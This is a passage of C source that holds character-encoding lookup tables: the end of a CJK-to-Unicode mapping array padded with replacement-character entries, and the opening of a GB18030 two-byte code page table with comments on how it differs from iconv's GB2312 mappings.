0x9B31, 0x4E90, 0x718A, 0x96C4, 0x5143, 0x539F, 0x54E1, 0x5713, 0x5712,
0x57A3, 0x5A9B, 0x5AC4, 0x5BC3, 0x6028, 0x613F, 0x63F4, 0x6C85, 0x6D39,
0x6E72, 0x6E90, 0x7230, 0x733F, 0x7457, 0x82D1, 0x8881, 0x8F45, 0x9060,
0xF9C6, 0x9662, 0x9858, 0x9D1B, 0x6708, 0x8D8A, 0x925E, 0x4F4D, 0x5049,
0x50DE, 0x5371, 0x570D, 0x59D4, 0x5A01, 0x5C09, 0x6170, 0x6690, 0x6E2D,
0x7232, 0x744B, 0x7DEF, 0x80C3, 0x840E, 0x8466, 0x853F, 0x875F, 0x885B,
0x8918, 0x8B02, 0x9055, 0x97CB, 0x9B4F, 0x4E73, 0x4F91, 0x5112, 0x516A,
0xF9C7, 0x552F, 0x55A9, 0x5B7A, 0x5BA5, 0x5E7C, 0x5E7D, 0x5EBE, 0x60A0,
0x60DF, 0x6108, 0x6109, 0x63C4, 0x6538, 0x6709, 0xF9C8, 0x67D4, 0x67DA,
0xF9C9, 0x6961, 0x6962, 0x6CB9, 0x6D27, 0xF9CA, 0x6E38, 0xF9CB, 0x6FE1,
0x7336, 0x7337, 0xF9CC, 0x745C, 0x7531, 0xF9CD, 0x7652, 0xF9CE, 0xF9CF,
0x7DAD, 0x81FE, 0x8438, 0x88D5, 0x8A98, 0x8ADB, 0x8AED, 0x8E30, 0x8E42,
0x904A, 0x903E, 0x907A, 0x9149, 0x91C9, 0x936E, 0xF9D0, 0xF9D1, 0x5809,
0xF9D2, 0x6BD3, 0x8089, 0x80B2, 0xF9D3, 0xF9D4, 0x5141, 0x596B, 0x5C39,
0xF9D5, 0xF9D6, 0x6F64, 0x73A7, 0x80E4, 0x8D07, 0xF9D7, 0x9217, 0x958F,
0xF9D8, 0xF9D9, 0xF9DA, 0xF9DB, 0x807F, 0x620E, 0x701C, 0x7D68, 0x878D,
0xF9DC, 0x57A0, 0x6069, 0x6147, 0x6BB7, 0x8ABE, 0x9280, 0x96B1, 0x4E59,
0x541F, 0x6DEB, 0x852D, 0x9670, 0x97F3, 0x98EE, 0x63D6, 0x6CE3, 0x9091,
0x51DD, 0x61C9, 0x81BA, 0x9DF9, 0x4F9D, 0x501A, 0x5100, 0x5B9C, 0x610F,
0x61FF, 0x64EC, 0x6905, 0x6BC5, 0x7591, 0x77E3, 0x7FA9, 0x8264, 0x858F,
0x87FB, 0x8863, 0x8ABC, 0x8B70, 0x91AB, 0x4E8C, 0x4EE5, 0x4F0A, 0xF9DD,
0xF9DE, 0x5937, 0x59E8, 0xF9DF, 0x5DF2, 0x5F1B, 0x5F5B, 0x6021, 0xF9E0,
0xF9E1, 0xF9E2, 0xF9E3, 0x723E, 0x73E5, 0xF9E4, 0x7570, 0x75CD, 0xF9E5,
0x79FB, 0xF9E6, 0x800C, 0x8033, 0x8084, 0x82E1, 0x8351, 0xF9E7, 0xF9E8,
0x8CBD, 0x8CB3, 0x9087, 0xF9E9, 0xF9EA, 0x98F4, 0x990C, 0xF9EB, 0xF9EC,
0x7037, 0x76CA, 0x7FCA, 0x7FCC, 0x7FFC, 0x8B1A, 0x4EBA, 0x4EC1, 0x5203,
0x5370, 0xF9ED, 0x54BD, 0x56E0, 0x59FB, 0x5BC5, 0x5F15, 0x5FCD, 0x6E6E,
0xF9EE, 0xF9EF, 0x7D6A, 0x8335, 0xF9F0, 0x8693, 0x8A8D, 0xF9F1, 0x976D,
0x9777, 0xF9F2, 0xF9F3, 0x4E00, 0x4F5A, 0x4F7E, 0x58F9, 0x65E5, 0x6EA2,
0x9038, 0x93B0, 0x99B9, 0x4EFB, 0x58EC, 0x598A, 0x59D9, 0x6041, 0xF9F4,
0xF9F5, 0x7A14, 0xF9F6, 0x834F, 0x8CC3, 0x5165, 0x5344, 0xF9F7, 0xF9F8,
0xF9F9, 0x4ECD, 0x5269, 0x5B55, 0x82BF, 0x4ED4, 0x523A, 0x54A8, 0x59C9,
0x59FF, 0x5B50, 0x5B57, 0x5B5C, 0x6063, 0x6148, 0x6ECB, 0x7099, 0x716E,
0x7386, 0x74F7, 0x75B5, 0x78C1, 0x7D2B, 0x8005, 0x81EA, 0x8328, 0x8517,
0x85C9, 0x8AEE, 0x8CC7, 0x96CC, 0x4F5C, 0x52FA, 0x56BC, 0x65AB, 0x6628,
0x707C, 0x70B8, 0x7235, 0x7DBD, 0x828D, 0x914C, 0x96C0, 0x9D72, 0x5B71,
0x68E7, 0x6B98, 0x6F7A, 0x76DE, 0x5C91, 0x66AB, 0x6F5B, 0x7BB4, 0x7C2A,
0x8836, 0x96DC, 0x4E08, 0x4ED7, 0x5320, 0x5834, 0x58BB, 0x58EF, 0x596C,
0x5C07, 0x5E33, 0x5E84, 0x5F35, 0x638C, 0x66B2, 0x6756, 0x6A1F, 0x6AA3,
0x6B0C, 0x6F3F, 0x7246, 0xF9FA, 0x7350, 0x748B, 0x7AE0, 0x7CA7, 0x8178,
0x81DF, 0x81E7, 0x838A, 0x846C, 0x8523, 0x8594, 0x85CF, 0x88DD, 0x8D13,
0x91AC, 0x9577, 0x969C, 0x518D, 0x54C9, 0x5728, 0x5BB0, 0x624D, 0x6750,
0x683D, 0x6893, 0x6E3D, 0x6ED3, 0x707D, 0x7E21, 0x88C1, 0x8CA1, 0x8F09,
0x9F4B, 0x9F4E, 0x722D, 0x7B8F, 0x8ACD, 0x931A, 0x4F47, 0x4F4E, 0x5132,
0x5480, 0x59D0, 0x5E95, 0x62B5, 0x6775, 0x696E, 0x6A17, 0x6CAE, 0x6E1A,
0x72D9, 0x732A, 0x75BD, 0x7BB8, 0x7D35, 0x82E7, 0x83F9, 0x8457, 0x85F7,
0x8A5B, 0x8CAF, 0x8E87, 0x9019, 0x90B8, 0x96CE, 0x9F5F, 0x52E3, 0x540A,
0x5AE1, 0x5BC2, 0x6458, 0x6575, 0x6EF4, 0x72C4, 0xF9FB, 0x7684, 0x7A4D,
0x7B1B, 0x7C4D, 0x7E3E, 0x7FDF, 0x837B, 0x8B2B, 0x8CCA, 0x8D64, 0x8DE1,
0x8E5F, 0x8FEA, 0x8FF9, 0x9069, 0x93D1, 0x4F43, 0x4F7A, 0x50B3, 0x5168,
0x5178, 0x524D, 0x526A, 0x5861, 0x587C, 0x5960, 0x5C08, 0x5C55, 0x5EDB,
0x609B, 0x6230, 0x6813, 0x6BBF, 0x6C08, 0x6FB1, 0x714E, 0x7420, 0x7530,
0x7538, 0x7551, 0x7672, 0x7B4C, 0x7B8B, 0x7BAD, 0x7BC6, 0x7E8F, 0x8A6E,
0x8F3E, 0x8F49, 0x923F, 0x9293, 0x9322, 0x942B, 0x96FB, 0x985A, 0x986B,
0x991E, 0x5207, 0x622A, 0x6298, 0x6D59, 0x7664, 0x7ACA, 0x7BC0, 0x7D76,
0x5360, 0x5CBE, 0x5E97, 0x6F38, 0x70B9, 0x7C98, 0x9711, 0x9B8E, 0x9EDE,
0x63A5, 0x647A, 0x8776, 0x4E01, 0x4E95, 0x4EAD, 0x505C, 0x5075, 0x5448,
0x59C3, 0x5B9A, 0x5E40, 0x5EAD, 0x5EF7, 0x5F81, 0x60C5, 0x633A, 0x653F,
0x6574, 0x65CC, 0x6676, 0x6678, 0x67FE, 0x6968, 0x6A89, 0x6B63, 0x6C40,
0x6DC0, 0x6DE8, 0x6E1F, 0x6E5E, 0x701E, 0x70A1, 0x738E, 0x73FD, 0x753A,
0x775B, 0x7887, 0x798E, 0x7A0B, 0x7A7D, 0x7CBE, 0x7D8E, 0x8247, 0x8A02,
0x8AEA, 0x8C9E, 0x912D, 0x914A, 0x91D8, 0x9266, 0x92CC, 0x9320, 0x9706,
0x9756, 0x975C, 0x9802, 0x9F0E, 0x5236, 0x5291, 0x557C, 0x5824, 0x5E1D,
0x5F1F, 0x608C, 0x63D0, 0x68AF, 0x6FDF, 0x796D, 0x7B2C, 0x81CD, 0x85BA,
0x88FD, 0x8AF8, 0x8E44, 0x918D, 0x9664, 0x969B, 0x973D, 0x984C, 0x9F4A,
0x4FCE, 0x5146, 0x51CB, 0x52A9, 0x5632, 0x5F14, 0x5F6B, 0x63AA, 0x64CD,
0x65E9, 0x6641, 0x66FA, 0x66F9, 0x671D, 0x689D, 0x68D7, 0x69FD, 0x6F15,
0x6F6E, 0x7167, 0x71E5, 0x722A, 0x74AA, 0x773A, 0x7956, 0x795A, 0x79DF,
0x7A20, 0x7A95, 0x7C97, 0x7CDF, 0x7D44, 0x7E70, 0x8087, 0x85FB, 0x86A4,
0x8A54, 0x8ABF, 0x8D99, 0x8E81, 0x9020, 0x906D, 0x91E3, 0x963B, 0x96D5,
0x9CE5, 0x65CF, 0x7C07, 0x8DB3, 0x93C3, 0x5B58, 0x5C0A, 0x5352, 0x62D9,
0x731D, 0x5027, 0x5B97, 0x5F9E, 0x60B0, 0x616B, 0x68D5, 0x6DD9, 0x742E,
0x7A2E, 0x7D42, 0x7D9C, 0x7E31, 0x816B, 0x8E2A, 0x8E35, 0x937E, 0x9418,
0x4F50, 0x5750, 0x5DE6, 0x5EA7, 0x632B, 0x7F6A, 0x4E3B, 0x4F4F, 0x4F8F,
0x505A, 0x59DD, 0x80C4, 0x546A, 0x5468, 0x55FE, 0x594F, 0x5B99, 0x5DDE,
0x5EDA, 0x665D, 0x6731, 0x67F1, 0x682A, 0x6CE8, 0x6D32, 0x6E4A, 0x6F8D,
0x70B7, 0x73E0, 0x7587, 0x7C4C, 0x7D02, 0x7D2C, 0x7DA2, 0x821F, 0x86DB,
0x8A3B, 0x8A85, 0x8D70, 0x8E8A, 0x8F33, 0x9031, 0x914E, 0x9152, 0x9444,
0x99D0, 0x7AF9, 0x7CA5, 0x4FCA, 0x5101, 0x51C6, 0x57C8, 0x5BEF, 0x5CFB,
0x6659, 0x6A3D, 0x6D5A, 0x6E96, 0x6FEC, 0x710C, 0x756F, 0x7AE3, 0x8822,
0x9021, 0x9075, 0x96CB, 0x99FF, 0x8301, 0x4E2D, 0x4EF2, 0x8846, 0x91CD,
0x537D, 0x6ADB, 0x696B, 0x6C41, 0x847A, 0x589E, 0x618E, 0x66FE, 0x62EF,
0x70DD, 0x7511, 0x75C7, 0x7E52, 0x84B8, 0x8B49, 0x8D08, 0x4E4B, 0x53EA,
0x54AB, 0x5730, 0x5740, 0x5FD7, 0x6301, 0x6307, 0x646F, 0x652F, 0x65E8,
0x667A, 0x679D, 0x67B3, 0x6B62, 0x6C60, 0x6C9A, 0x6F2C, 0x77E5, 0x7825,
0x7949, 0x7957, 0x7D19, 0x80A2, 0x8102, 0x81F3, 0x829D, 0x82B7, 0x8718,
0x8A8C, 0xF9FC, 0x8D04, 0x8DBE, 0x9072, 0x76F4, 0x7A19, 0x7A37, 0x7E54,
0x8077, 0x5507, 0x55D4, 0x5875, 0x632F, 0x6422, 0x6649, 0x664B, 0x686D,
0x699B, 0x6B84, 0x6D25, 0x6EB1, 0x73CD, 0x7468, 0x74A1, 0x755B, 0x75B9,
0x76E1, 0x771E, 0x778B, 0x79E6, 0x7E09, 0x7E1D, 0x81FB, 0x852F, 0x8897,
0x8A3A, 0x8CD1, 0x8EEB, 0x8FB0, 0x9032, 0x93AD, 0x9663, 0x9673, 0x9707,
0x4F84, 0x53F1, 0x59EA, 0x5AC9, 0x5E19, 0x684E, 0x74C6, 0x75BE, 0x79E9,
0x7A92, 0x81A3, 0x86ED, 0x8CEA, 0x8DCC, 0x8FED, 0x659F, 0x6715, 0xF9FD,
0x57F7, 0x6F57, 0x7DDD, 0x8F2F, 0x93F6, 0x96C6, 0x5FB5, 0x61F2, 0x6F84,
0x4E14, 0x4F98, 0x501F, 0x53C9, 0x55DF, 0x5D6F, 0x5DEE, 0x6B21, 0x6B64,
0x78CB, 0x7B9A, 0xF9FE, 0x8E49, 0x8ECA, 0x906E, 0x6349, 0x643E, 0x7740,
0x7A84, 0x932F, 0x947F, 0x9F6A, 0x64B0, 0x6FAF, 0x71E6, 0x74A8, 0x74DA,
0x7AC4, 0x7C12, 0x7E82, 0x7CB2, 0x7E98, 0x8B9A, 0x8D0A, 0x947D, 0x9910,
0x994C, 0x5239, 0x5BDF, 0x64E6, 0x672D, 0x7D2E, 0x50ED, 0x53C3, 0x5879,
0x6158, 0x6159, 0x61FA, 0x65AC, 0x7AD9, 0x8B92, 0x8B96, 0x5009, 0x5021,
0x5275, 0x5531, 0x5A3C, 0x5EE0, 0x5F70, 0x6134, 0x655E, 0x660C, 0x6636,
0x66A2, 0x69CD, 0x6EC4, 0x6F32, 0x7316, 0x7621, 0x7A93, 0x8139, 0x8259,
0x83D6, 0x84BC, 0x50B5, 0x57F0, 0x5BC0, 0x5BE8, 0x5F69, 0x63A1, 0x7826,
0x7DB5, 0x83DC, 0x8521, 0x91C7, 0x91F5, 0x518A, 0x67F5, 0x7B56, 0x8CAC,
0x51C4, 0x59BB, 0x60BD, 0x8655, 0x501C, 0xF9FF, 0x5254, 0x5C3A, 0x617D,
0x621A, 0x62D3, 0x64F2, 0x65A5, 0x6ECC, 0x7620, 0x810A, 0x8E60, 0x965F,
0x96BB, 0x4EDF, 0x5343, 0x5598, 0x5929, 0x5DDD, 0x64C5, 0x6CC9, 0x6DFA,
0x7394, 0x7A7F, 0x821B, 0x85A6, 0x8CE4, 0x8E10, 0x9077, 0x91E7, 0x95E1,
0x9621, 0x97C6, 0x51F8, 0x54F2, 0x5586, 0x5FB9, 0x64A4, 0x6F88, 0x7DB4,
0x8F1F, 0x8F4D, 0x9435, 0x50C9, 0x5C16, 0x6CBE, 0x6DFB, 0x751B, 0x77BB,
0x7C3D, 0x7C64, 0x8A79, 0x8AC2, 0x581E, 0x59BE, 0x5E16, 0x6377, 0x7252,
0x758A, 0x776B, 0x8ADC, 0x8CBC, 0x8F12, 0x5EF3, 0x6674, 0x6DF8, 0x807D,
0x83C1, 0x8ACB, 0x9751, 0x9BD6, 0xFA00, 0x5243, 0x66FF, 0x6D95, 0x6EEF,
0x7DE0, 0x8AE6, 0x902E, 0x905E, 0x9AD4, 0x521D, 0x527F, 0x54E8, 0x6194,
0x6284, 0x62DB, 0x68A2, 0x6912, 0x695A, 0x6A35, 0x7092, 0x7126, 0x785D,
0x7901, 0x790E, 0x79D2, 0x7A0D, 0x8096, 0x8278, 0x82D5, 0x8349, 0x8549,
0x8C82, 0x8D85, 0x9162, 0x918B, 0x91AE, 0x4FC3, 0x56D1, 0x71ED, 0x77D7,
0x8700, 0x89F8, 0x5BF8, 0x5FD6, 0x6751, 0x90A8, 0x53E2, 0x585A, 0x5BF5,
0x60A4, 0x6181, 0x6460, 0x7E3D, 0x8070, 0x8525, 0x9283, 0x64AE, 0x50AC,
0x5D14, 0x6700, 0x589C, 0x62BD, 0x63A8, 0x690E, 0x6978, 0x6A1E, 0x6E6B,
0x76BA, 0x79CB, 0x82BB, 0x8429, 0x8ACF, 0x8DA8, 0x8FFD, 0x9112, 0x914B,
0x919C, 0x9310, 0x9318, 0x939A, 0x96DB, 0x9A36, 0x9C0D, 0x4E11, 0x755C,
0x795D, 0x7AFA, 0x7B51, 0x7BC9, 0x7E2E, 0x84C4, 0x8E59, 0x8E74, 0x8EF8,
0x9010, 0x6625, 0x693F, 0x7443, 0x51FA, 0x672E, 0x9EDC, 0x5145, 0x5FE0,
0x6C96, 0x87F2, 0x885D, 0x8877, 0x60B4, 0x81B5, 0x8403, 0x8D05, 0x53D6,
0x5439, 0x5634, 0x5A36, 0x5C31, 0x708A, 0x7FE0, 0x805A, 0x8106, 0x81ED,
0x8DA3, 0x9189, 0x9A5F, 0x9DF2, 0x5074, 0x4EC4, 0x53A0, 0x60FB, 0x6E2C,
0x5C64, 0x4F88, 0x5024, 0x55E4, 0x5CD9, 0x5E5F, 0x6065, 0x6894, 0x6CBB,
0x6DC4, 0x71BE, 0x75D4, 0x75F4, 0x7661, 0x7A1A, 0x7A49, 0x7DC7, 0x7DFB,
0x7F6E, 0x81F4, 0x86A9, 0x8F1C, 0x96C9, 0x99B3, 0x9F52, 0x5247, 0x52C5,
0x98ED, 0x89AA, 0x4E03, 0x67D2, 0x6F06, 0x4FB5, 0x5BE2, 0x6795, 0x6C88,
0x6D78, 0x741B, 0x7827, 0x91DD, 0x937C, 0x87C4, 0x79E4, 0x7A31, 0x5FEB,
0x4ED6, 0x54A4, 0x553E, 0x58AE, 0x59A5, 0x60F0, 0x6253, 0x62D6, 0x6736,
0x6955, 0x8235, 0x9640, 0x99B1, 0x99DD, 0x502C, 0x5353, 0x5544, 0x577C,
0xFA01, 0x6258, 0xFA02, 0x64E2, 0x666B, 0x67DD, 0x6FC1, 0x6FEF, 0x7422,
0x7438, 0x8A17, 0x9438, 0x5451, 0x5606, 0x5766, 0x5F48, 0x619A, 0x6B4E,
0x7058, 0x70AD, 0x7DBB, 0x8A95, 0x596A, 0x812B, 0x63A2, 0x7708, 0x803D,
0x8CAA, 0x5854, 0x642D, 0x69BB, 0x5B95, 0x5E11, 0x6E6F, 0xFA03, 0x8569,
0x514C, 0x53F0, 0x592A, 0x6020, 0x614B, 0x6B86, 0x6C70, 0x6CF0, 0x7B1E,
0x80CE, 0x82D4, 0x8DC6, 0x90B0, 0x98B1, 0xFA04, 0x64C7, 0x6FA4, 0x6491,
0x6504, 0x514E, 0x5410, 0x571F, 0x8A0E, 0x615F, 0x6876, 0xFA05, 0x75DB,
0x7B52, 0x7D71, 0x901A, 0x5806, 0x69CC, 0x817F, 0x892A, 0x9000, 0x9839,
0x5078, 0x5957, 0x59AC, 0x6295, 0x900F, 0x9B2A, 0x615D, 0x7279, 0x95D6,
0x5761, 0x5A46, 0x5DF4, 0x628A, 0x64AD, 0x64FA, 0x6777, 0x6CE2, 0x6D3E,
0x722C, 0x7436, 0x7834, 0x7F77, 0x82AD, 0x8DDB, 0x9817, 0x5224, 0x5742,
0x677F, 0x7248, 0x74E3, 0x8CA9, 0x8FA6, 0x9211, 0x962A, 0x516B, 0x53ED,
0x634C, 0x4F69, 0x5504, 0x6096, 0x6557, 0x6C9B, 0x6D7F, 0x724C, 0x72FD,
0x7A17, 0x8987, 0x8C9D, 0x5F6D, 0x6F8E, 0x70F9, 0x81A8, 0x610E, 0x4FBF,
0x504F, 0x6241, 0x7247, 0x7BC7, 0x7DE8, 0x7FE9, 0x904D, 0x97AD, 0x9A19,
0x8CB6, 0x576A, 0x5E73, 0x67B0, 0x840D, 0x8A55, 0x5420, 0x5B16, 0x5E63,
0x5EE2, 0x5F0A, 0x6583, 0x80BA, 0x853D, 0x9589, 0x965B, 0x4F48, 0x5305,
0x530D, 0x530F, 0x5486, 0x54FA, 0x5703, 0x5E03, 0x6016, 0x629B, 0x62B1,
0x6355, 0xFA06, 0x6CE1, 0x6D66, 0x75B1, 0x7832, 0x80DE, 0x812F, 0x82DE,
0x8461, 0x84B2, 0x888D, 0x8912, 0x900B, 0x92EA, 0x98FD, 0x9B91, 0x5E45,
0x66B4, 0x66DD, 0x7011, 0x7206, 0xFA07, 0x4FF5, 0x527D, 0x5F6A, 0x6153,
0x6753, 0x6A19, 0x6F02, 0x74E2, 0x7968, 0x8868, 0x8C79, 0x98C7, 0x98C4,
0x9A43, 0x54C1, 0x7A1F, 0x6953, 0x8AF7, 0x8C4A, 0x98A8, 0x99AE, 0x5F7C,
0x62AB, 0x75B2, 0x76AE, 0x88AB, 0x907F, 0x9642, 0x5339, 0x5F3C, 0x5FC5,
0x6CCC, 0x73CC, 0x7562, 0x758B, 0x7B46, 0x82FE, 0x999D, 0x4E4F, 0x903C,
0x4E0B, 0x4F55, 0x53A6, 0x590F, 0x5EC8, 0x6630, 0x6CB3, 0x7455, 0x8377,
0x8766, 0x8CC0, 0x9050, 0x971E, 0x9C15, 0x58D1, 0x5B78, 0x8650, 0x8B14,
0x9DB4, 0x5BD2, 0x6068, 0x608D, 0x65F1, 0x6C57, 0x6F22, 0x6FA3, 0x701A,
0x7F55, 0x7FF0, 0x9591, 0x9592, 0x9650, 0x97D3, 0x5272, 0x8F44, 0x51FD,
0x542B, 0x54B8, 0x5563, 0x558A, 0x6ABB, 0x6DB5, 0x7DD8, 0x8266, 0x929C,
0x9677, 0x9E79, 0x5408, 0x54C8, 0x76D2, 0x86E4, 0x95A4, 0x95D4, 0x965C,
0x4EA2, 0x4F09, 0x59EE, 0x5AE6, 0x5DF7, 0x6052, 0x6297, 0x676D, 0x6841,
0x6C86, 0x6E2F, 0x7F38, 0x809B, 0x822A, 0xFA08, 0xFA09, 0x9805, 0x4EA5,
0x5055, 0x54B3, 0x5793, 0x595A, 0x5B69, 0x5BB3, 0x61C8, 0x6977, 0x6D77,
0x7023, 0x87F9, 0x89E3, 0x8A72, 0x8AE7, 0x9082, 0x99ED, 0x9AB8, 0x52BE,
0x6838, 0x5016, 0x5E78, 0x674F, 0x8347, 0x884C, 0x4EAB, 0x5411, 0x56AE,
0x73E6, 0x9115, 0x97FF, 0x9909, 0x9957, 0x9999, 0x5653, 0x589F, 0x865B,
0x8A31, 0x61B2, 0x6AF6, 0x737B, 0x8ED2, 0x6B47, 0x96AA, 0x9A57, 0x5955,
0x7200, 0x8D6B, 0x9769, 0x4FD4, 0x5CF4, 0x5F26, 0x61F8, 0x665B, 0x6CEB,
0x70AB, 0x7384, 0x73B9, 0x73FE, 0x7729, 0x774D, 0x7D43, 0x7D62, 0x7E23,
0x8237, 0x8852, 0xFA0A, 0x8CE2, 0x9249, 0x986F, 0x5B51, 0x7A74, 0x8840,
0x9801, 0x5ACC, 0x4FE0, 0x5354, 0x593E, 0x5CFD, 0x633E, 0x6D79, 0x72F9,
0x8105, 0x8107, 0x83A2, 0x92CF, 0x9830, 0x4EA8, 0x5144, 0x5211, 0x578B,
0x5F62, 0x6CC2, 0x6ECE, 0x7005, 0x7050, 0x70AF, 0x7192, 0x73E9, 0x7469,
0x834A, 0x87A2, 0x8861, 0x9008, 0x90A2, 0x93A3, 0x99A8, 0x516E, 0x5F57,
0x60E0, 0x6167, 0x66B3, 0x8559, 0x8E4A, 0x91AF, 0x978B, 0x4E4E, 0x4E92,
0x547C, 0x58D5, 0x58FA, 0x597D, 0x5CB5, 0x5F27, 0x6236, 0x6248, 0x660A,
0x6667, 0x6BEB, 0x6D69, 0x6DCF, 0x6E56, 0x6EF8, 0x6F94, 0x6FE0, 0x6FE9,
0x705D, 0x72D0, 0x7425, 0x745A, 0x74E0, 0x7693, 0x795C, 0x7CCA, 0x7E1E,
0x80E1, 0x82A6, 0x846B, 0x84BF, 0x864E, 0x865F, 0x8774, 0x8B77, 0x8C6A,
0x93AC, 0x9800, 0x9865, 0x60D1, 0x6216, 0x9177, 0x5A5A, 0x660F, 0x6DF7,
0x6E3E, 0x743F, 0x9B42, 0x5FFD, 0x60DA, 0x7B0F, 0x54C4, 0x5F18, 0x6C5E,
0x6CD3, 0x6D2A, 0x70D8, 0x7D05, 0x8679, 0x8A0C, 0x9D3B, 0x5316, 0x548C,
0x5B05, 0x6A3A, 0x706B, 0x7575, 0x798D, 0x79BE, 0x82B1, 0x83EF, 0x8A71,
0x8B41, 0x8CA8, 0x9774, 0xFA0B, 0x64F4, 0x652B, 0x78BA, 0x78BB, 0x7A6B,
0x4E38, 0x559A, 0x5950, 0x5BA6, 0x5E7B, 0x60A3, 0x63DB, 0x6B61, 0x6665,
0x6853, 0x6E19, 0x7165, 0x74B0, 0x7D08, 0x9084, 0x9A69, 0x9C25, 0x6D3B,
0x6ED1, 0x733E, 0x8C41, 0x95CA, 0x51F0, 0x5E4C, 0x5FA8, 0x604D, 0x60F6,
0x6130, 0x614C, 0x6643, 0x6644, 0x69A5, 0x6CC1, 0x6E5F, 0x6EC9, 0x6F62,
0x714C, 0x749C, 0x7687, 0x7BC1, 0x7C27, 0x8352, 0x8757, 0x9051, 0x968D,
0x9EC3, 0x532F, 0x56DE, 0x5EFB, 0x5F8A, 0x6062, 0x6094, 0x61F7, 0x6666,
0x6703, 0x6A9C, 0x6DEE, 0x6FAE, 0x7070, 0x736A, 0x7E6A, 0x81BE, 0x8334,
0x86D4, 0x8AA8, 0x8CC4, 0x5283, 0x7372, 0x5B96, 0x6A6B, 0x9404, 0x54EE,
0x5686, 0x5B5D, 0x6548, 0x6585, 0x66C9, 0x689F, 0x6D8D, 0x6DC6, 0x723B,
0x80B4, 0x9175, 0x9A4D, 0x4FAF, 0x5019, 0x539A, 0x540E, 0x543C, 0x5589,
0x55C5, 0x5E3F, 0x5F8C, 0x673D, 0x7166, 0x73DD, 0x9005, 0x52DB, 0x52F3,
0x5864, 0x58CE, 0x7104, 0x718F, 0x71FB, 0x85B0, 0x8A13, 0x6688, 0x85A8,
0x55A7, 0x6684, 0x714A, 0x8431, 0x5349, 0x5599, 0x6BC1, 0x5F59, 0x5FBD,
0x63EE, 0x6689, 0x7147, 0x8AF1, 0x8F1D, 0x9EBE, 0x4F11, 0x643A, 0x70CB,
0x7566, 0x8667, 0x6064, 0x8B4E, 0x9DF8, 0x5147, 0x51F6, 0x5308, 0x6D36,
0x80F8, 0x9ED1, 0x6615, 0x6B23, 0x7098, 0x75D5, 0x5403, 0x5C79, 0x7D07,
0x8A16, 0x6B20, 0x6B3D, 0x6B46, 0x5438, 0x6070, 0x6D3D, 0x7FD5, 0x8208,
0x50D6, 0x51DE, 0x559C, 0x566B, 0x56CD, 0x59EC, 0x5B09, 0x5E0C, 0x6199,
0x6198, 0x6231, 0x665E, 0x66E6, 0x7199, 0x71B9, 0x71BA, 0x72A7, 0x79A7,
0x7A00, 0x7FB2, 0x8A70, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD
};
// Code page for gb18030 two-byte codes from gb-18030-2005.ucm.
// There were 24 codes with duplicate mappings, which are listed in
// the PrivateToStandard table below.
// This table is also used for GB2312 and GBK, to ensure compatibility.
// However, note that GBK/GB18030 differs from GNU iconv's GB2312 table
// for these two code points:
// 1) here 'middle dot' U+00B7 -> iconv 'katakana middle dot' U+30FB
// 2) here 'em dash' U+2014 -> iconv 'horizontal bar' U+2015
const unsigned short CodePageGB18030[23940] = {
0x4E02, 0x4E04, 0x4E05, 0x4E06, 0x4E0F, 0x4E12, 0x4E17, 0x4E1F, 0x4E20,
0x4E21, 0x4E23, 0x4E26, 0x4E29, 0x4E2E, 0x4E2F, 0x4E31, 0x4E33, 0x4E35,
0x4E37, 0x4E3C, 0x4E40, 0x4E41, 0x4E42, 0x4E44, 0x4E46, 0x4E4A, 0x4E51,
0x4E55, 0x4E57, 0x4E5A, 0x4E5B, 0x4E62, 0x4E63, 0x4E64, 0x4E65, 0x4E67,
0x4E68, 0x4E6A, 0x4E6B, 0x4E6C, 0x4E6D, 0x4E6E, 0x4E6F, 0x4E72, 0x4E74,
0x4E75, 0x4E76, 0x4E77, 0x4E78, 0x4E79, 0x4E7A, 0x4E7B, 0x4E7C, 0x4E7D,
0x4E7F, 0x4E80, 0x4E81, 0x4E82, 0x4E83, 0x4E84, 0x4E85, 0x4E87, 0x4E8A,
0x4E90, 0x4E96, 0x4E97, 0x4E99, 0x4E9C, 0x4E9D, 0x4E9E, 0x4EA3, 0x4EAA,
0x4EAF, 0x4EB0, 0x4EB1, 0x4EB4, 0x4EB6, 0x4EB7, 0x4EB8, 0x4EB9, 0x4EBC,
0x4EBD, 0x4EBE, 0x4EC8, 0x4ECC, 0x4ECF, 0x4ED0, 0x4ED2, 0x4EDA, 0x4EDB,
0x4EDC, 0x4EE0, 0x4EE2, 0x4EE6, 0x4EE7, 0x4EE9, 0x4EED, 0x4EEE, 0x4EEF,
0x4EF1, 0x4EF4, 0x4EF8, 0x4EF9, 0x4EFA, 0x4EFC, 0x4EFE, 0x4F00, 0x4F02,
0x4F03, 0x4F04, 0x4F05, 0x4F06, 0x4F07, 0x4F08, 0x4F0B, 0x4F0C, 0x4F12,
0x4F13, 0x4F14, 0x4F15, 0x4F16, 0x4F1C, 0x4F1D, 0x4F21, 0x4F23, 0x4F28,
0x4F29, 0x4F2C, 0x4F2D, 0x4F2E, 0x4F31, 0x4F33, 0x4F35, 0x4F37, 0x4F39,
0x4F3B, 0x4F3E, 0x4F3F, 0x4F40, 0x4F41, 0x4F42, 0x4F44, 0x4F45, 0x4F47,
